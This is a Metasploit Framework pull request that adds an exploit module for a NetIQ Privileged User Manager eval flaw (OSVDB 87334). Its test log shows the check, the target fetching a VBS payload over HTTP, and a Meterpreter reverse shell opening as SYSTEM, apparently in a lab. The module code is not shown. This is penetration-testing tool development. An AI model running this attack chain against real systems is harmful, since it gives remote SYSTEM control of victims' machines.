rapid7/metasploit-framework — pull request #1085 by jvazquez-r7 (2012-11-20 22:17:37+00:00)
Title: Added module for OSVDB 87334

Test

* Check

msf exploit(netiq_pum_eval) > check

[*] Sending fake login request...
[+] The target is vulnerable.

* Exploit

msf exploit(netiq_pum_eval) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444
[*] Sending fake login request...
msf exploit(netiq_pum_eval) > [*] Generating the VBS Payload...
[*] Setting up the Web Service...
[*] Starting up our web service on http://192.168.1.129:8080/k.vbs ...
[*] Using URL: http://0.0.0.0:8080/k.vbs
[*] Local IP: http://192.168.1.129:8080/k.vbs
[*] Sending the eval code request...
[+] There wasn't response. It's the expected behavior...
[*] Waiting for the victim to request the VBS payload...
[+] Sending the VBS payload to the target...
[*] Giving time to the payload to execute...
[*] Sending stage (752128 bytes) to 192.168.1.134
[*] Meterpreter session 7 opened (192.168.1.129:4444 -> 192.168.1.134:2254) at 2012-11-20 22:54:06 +0100
[+] Deleted FVmrUUQ.vbs

msf exploit(netiq_pum_eval) > sessions -i 7
[*] Starting interaction with 7...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
[*] Shutting down the web service...

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.134 - Meterpreter session 7 closed. Reason: User exit

Important warning!! I've needed to assign datastore['SSL'] to avoid the HTTPServer to listen on https mode, so the vbs stager work as expected. (I've commented code too)